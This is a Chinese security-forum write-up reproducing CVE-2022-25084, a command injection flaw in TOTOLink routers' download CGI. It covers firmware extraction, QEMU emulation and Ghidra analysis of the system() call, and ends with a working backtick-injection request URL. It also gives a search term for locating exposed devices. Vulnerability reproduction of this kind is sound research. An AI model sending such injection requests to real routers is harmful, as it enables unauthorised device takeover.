问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
TOTOLink 多个设备 download.cgi 远程命令执行漏洞 CVE-2022-25084
# TOTOLink 多个设备 download.cgi 远程命令执行漏洞 CVE-2022-25084 ## 漏洞描述 TOTOLink 多个设备 download.cgi文件存在远程命令执行漏洞,攻击者通过构造特殊的请求可以获取服务器权...
TOTOLink 多个设备 download.cgi 远程命令执行漏洞 CVE-2022-25084 ================================================== 漏洞描述 ---- TOTOLink 多个设备 download.cgi文件存在远程命令执行漏洞,攻击者通过构造特殊的请求可以获取服务器权限 漏洞影响 ---- TOTOLink 多个设备 网络测绘 ---- "totolink" 漏洞复现 ---- 下载路由器固件 ![img](https://shs3.b.qianxin.com/butian_public/f875375fd3ae7d89d07680e80fbc6d9c070813bc880f5.jpg) 使用binwalk分解固件 ![img](https://shs3.b.qianxin.com/butian_public/f809758e5b78c23db5eeeffc39205e2364c08cc01f31e.jpg) 查看分解出来的文件 ![img](https://shs3.b.qianxin.com/butian_public/f5950563e88a3a29b7540d66cb62776e214e9722f9d60.jpg) ![img](https://shs3.b.qianxin.com/butian_public/f451745abf3d116b2b4577fea8b0fa777e53d4829c11f.jpg) 使用qemu搭建路由器 ```php #set network sudo brctl addbr virbr2 sudo ifconfig virbr2 192.168.6.1/24 up sudo tunctl -t tap2 sudo ifconfig tap2 192.168.6.11/24 up sudo brctl addif virbr2 tap2 qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -netdev tap,id=tapnet,ifname=tap2,script=no -device rtl8139,netdev=tapnet -nographic ``` 创建后在qemu里执行命令启动路由器 ```php ifconfig eth0 192.168.6.11 up scp -r squashfs-root/ root@192.168.6.11:/root/ chroot ./squashfs-root/ /bin/sh touch /var/run/lighttpd.pid ./bin/lighttpd -f ./lighttp/lighttpd.conf -m ./lighttp/lib ``` 注意 `lighttpd.conf` 文件需要修改 `server.pid-file` 参数 ![img](https://shs3.b.qianxin.com/butian_public/f758985707edd231fa6ae2d24fbd644494b4ccfe6605d.jpg) 启动后访问路由器页面 ![img](https://shs3.b.qianxin.com/butian_public/f583521457ef936ca7676ed624b79d83da0e9c68af578.jpg) 我们找到需要分析的文件目录 `squashfs-root/web_cste/cgi-bin` ![img](https://shs3.b.qianxin.com/butian_public/f650501e364b172a6f3519c5d4e0c6568c9d28d7fa816.jpg) 使用Ghidra分析 cgi文件 `downloadFile.cgi` ![img](https://shs3.b.qianxin.com/butian_public/f207430b602bf9050555ce287f9b3fd6a513786a13f4c.jpg) 我们注意到其中的system执行命令 ```php pcVar1 = getenv("QUERY_STRING"); memset(acStack1424,0,0x200); memset(acStack912,0,0x200); sprintf(acStack1424,"echo QUERY_STRING:%s >/tmp/download",pcVar1); system(acStack1424); ``` 其中 getenv 从请求Url中获取参数,传参给pcVar1,再通过下面的sprintf 赋值给 acStack1424 使用 system函数 进行命令执行 ![img](https://shs3.b.qianxin.com/butian_public/f717618c48e5ae18a5386077a85dae84fb1a84dc2088f.jpg) 我们构造请求包控制 QUERY\_STRING 参数来进行恶意命令执行 ```php /cgi-bin/downloadFlile.cgi?payload=`ls>../cmd.txt` ``` ![img](https://shs3.b.qianxin.com/butian_public/f954759dfc3953b1f72887c97052ec66e95c032804d83.jpg) ![img](https://shs3.b.qianxin.com/butian_public/f579584589bb56c79b64b05f5c8994053b91f1360d46b.jpg)
发表于 2024-07-12 18:50:01
阅读 ( 1157 )
分类:
网络设备
0 推荐
收藏
0 条评论
请先
登录
后评论
带头大哥
456 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!